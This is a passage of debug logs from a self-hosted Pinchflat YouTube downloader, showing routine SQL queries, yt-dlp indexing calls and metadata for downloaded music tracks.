idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.128 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.128 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.128 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.128 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=fNjKyIoeQ48 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/33/80/3380ae434292c2aa5e7b47c61a8a467794e4b89b822abeb618dc704dd57e7a0e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:17.129 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.129 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.129 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vgldRamTEBI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/76/d1/76d12184a8d846cc6f7595f6671b119db834c6020d9d86b2a40c1c86b0a7ec12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:17.318 [debug] Current batch of media processed. Will check again in 1000ms 22:20:17.480 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nRules Of Engagement · Living Sacrifice\n\nThe Infinite Order\n\n℗ 2009 Capitol Christian Music Group, Inc.\n\nReleased on: 2010-01-01\n\nProducer: Jeremiah Scott\nComposer: Lance Garvin\nComposer: Bruce Fitzhugh\nComposer: Rocky Gray\n\nAuto-generated by YouTube.", "duration" => 208, "filename" => "/downloads/ChristianMetal/ChristianMetal/2015-08-12Rules Of Engagement[AgrDjlhGGQg].m4a", "id" => "AgrDjlhGGQg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AgrDjlhGGQg", "playlist_index" => 33, "timestamp" => 1439337896, "title" => "Rules Of Engagement", "upload_date" => "20150812"} 22:20:17.518 [debug] QUERY OK source="sources" db=37.2ms idle=352.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:17.518 [debug] QUERY OK source="sources" db=0.2ms idle=389.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:17.518 [debug] QUERY OK source="media_items" db=0.1ms idle=389.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-08-12 00:04:56Z], 5] 22:20:17.706 [debug] QUERY OK source="media_items" db=187.2ms idle=390.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nRules Of Engagement · Living Sacrifice\n\nThe Infinite Order\n\n℗ 2009 Capitol Christian Music Group, Inc.\n\nReleased on: 2010-01-01\n\nProducer: Jeremiah Scott\nComposer: Lance Garvin\nComposer: Bruce Fitzhugh\nComposer: Rocky Gray\n\nAuto-generated by YouTube.", "Rules Of Engagement", "a28412ee-48dc-480a-9c66-d7625d0c8dfd", false, "AgrDjlhGGQg", 208, false, "https://www.youtube.com/watch?v=AgrDjlhGGQg", 33, "/downloads/ChristianMetal/ChristianMetal/2015-08-12Rules Of Engagement[AgrDjlhGGQg].m4a", false, false, 5, [], 1, ~U[2015-08-12 00:04:56Z], ~U[2026-07-24 02:20:17Z], ~U[2026-07-24 02:20:17Z], "Provided to YouTube by Universal Music Group\n\nRules Of Engagement · Living Sacrifice\n\nThe Infinite Order\n\n℗ 2009 Capitol Christian Music Group, Inc.\n\nReleased on: 2010-01-01\n\nProducer: Jeremiah Scott\nComposer: Lance Garvin\nComposer: Bruce Fitzhugh\nComposer: Rocky Gray\n\nAuto-generated by YouTube.", "Rules Of Engagement", "AgrDjlhGGQg", 208, false, "https://www.youtube.com/watch?v=AgrDjlhGGQg", "/downloads/ChristianMetal/ChristianMetal/2015-08-12Rules Of Engagement[AgrDjlhGGQg].m4a", false, 5, ~U[2015-08-12 00:04:56Z]] 22:20:17.718 [debug] QUERY OK source="sources" db=11.6ms idle=577.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:17.720 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.2ms idle=201.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.721 [debug] QUERY OK source="media_items" db=0.6ms idle=202.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [199] 22:20:17.721 [debug] Current batch of media processed. Will check again in 1000ms 22:20:18.163 [info] GET /sources/1 22:20:18.163 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:20:18.164 [debug] QUERY OK source="sources" db=0.3ms idle=457.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.164 [debug] QUERY OK source="media_profiles" db=0.2ms idle=445.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:18.219 [debug] QUERY OK source="tasks" db=0.7ms queue=53.3ms idle=444.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:20:18.219 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=497.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [178] 22:20:18.220 [debug] QUERY OK source="settings" db=0.3ms idle=201.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.220 [debug] QUERY OK source="settings" db=0.2ms idle=56.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.221 [debug] QUERY OK source="settings" db=0.2ms idle=56.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:18.224 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.225 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:18.226 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=4.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:18.228 [debug] QUERY OK source="sources" db=0.2ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.228 [debug] QUERY OK source="media_items" db=0.2ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:18.229 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:18.231 [debug] QUERY OK source="sources" db=0.2ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.231 [debug] QUERY OK source="media_items" db=0.3ms idle=4.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:20:18.232 [debug] QUERY OK source="media_items" db=0.6ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:18.233 [info] Sent 200 in 69ms 22:20:18.319 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I got no idea if I'm the first one to think of this. Surely someone's had to, but I just haven't come across it. At any rate, I whipped this up in an afternoon. It gets a little rough toward the last leg, but I'm not a professional music mixer, so 🤷\u200D♂️\n\nSongs used: 'Dixie' and 'Union Dixie', both performed by Tennessee Ernie Ford", "duration" => 140, "filename" => "/downloads/Classics/Classics/2024-04-13Dixie Rap Battle[Yk40lQVgVGc].m4a", "id" => "Yk40lQVgVGc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Yk40lQVgVGc", "playlist_index" => 10, "timestamp" => 1713042220, "title" => "Dixie Rap Battle", "upload_date" => "20240413"} 22:20:18.319 [debug] QUERY OK source="sources" db=0.2ms idle=90.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:18.320 [debug] QUERY OK source="sources" db=0.1ms idle=90.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:18.320 [debug] QUERY OK source="media_items" db=0.1ms idle=89.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-13 21:03:40Z], 2] 22:20:18.352 [info] CONNECTED TO Phoenix.LiveView.Socket in 27µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MD1_fScMBgwACgMmDA52LGMNXgEYHz0mYPLJNDoMkl7vnCGz3gjrKkje", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:18.358 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 1} 22:20:18.629 [debug] QUERY OK source="media_items" db=308.1ms idle=89.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["I got no idea if I'm the first one to think of this. Surely someone's had to, but I just haven't come across it. At any rate, I whipped this up in an afternoon. It gets a little rough toward the last leg, but I'm not a professional music mixer, so 🤷\u200D♂️\n\nSongs used: 'Dixie' and 'Union Dixie', both performed by Tennessee Ernie Ford", "Dixie Rap Battle", "fd38021d-a6be-49f2-8645-3ea4e5185305", false, "Yk40lQVgVGc", 140, false, "https://www.youtube.com/watch?v=Yk40lQVgVGc", 10, "/downloads/Classics/Classics/2024-04-13Dixie Rap Battle[Yk40lQVgVGc].m4a", false, false, 2, [], 1, ~U[2024-04-13 21:03:40Z], ~U[2026-07-24 02:20:18Z], ~U[2026-07-24 02:20:18Z], "I got no idea if I'm the first one to think of this. Surely someone's had to, but I just haven't come across it. At any rate, I whipped this up in an afternoon. It gets a little rough toward the last leg, but I'm not a professional music mixer, so 🤷\u200D♂️\n\nSongs used: 'Dixie' and 'Union Dixie', both performed by Tennessee Ernie Ford", "Dixie Rap Battle", "Yk40lQVgVGc", 140, false, "https://www.youtube.com/watch?v=Yk40lQVgVGc", "/downloads/Classics/Classics/2024-04-13Dixie Rap Battle[Yk40lQVgVGc].m4a", false, 2, ~U[2024-04-13 21:03:40Z]] 22:20:18.629 [debug] QUERY OK source="sources" db=0.3ms idle=309.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:18.630 [debug] QUERY OK source="media_profiles" db=0.1ms idle=309.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:18.630 [debug] QUERY OK source="media_items" db=0.3ms idle=309.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [47] 22:20:18.630 [debug] Current batch of media processed. Will check again in 1000ms 22:20:18.718 [debug] QUERY OK source="sources" db=359.0ms idle=126.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 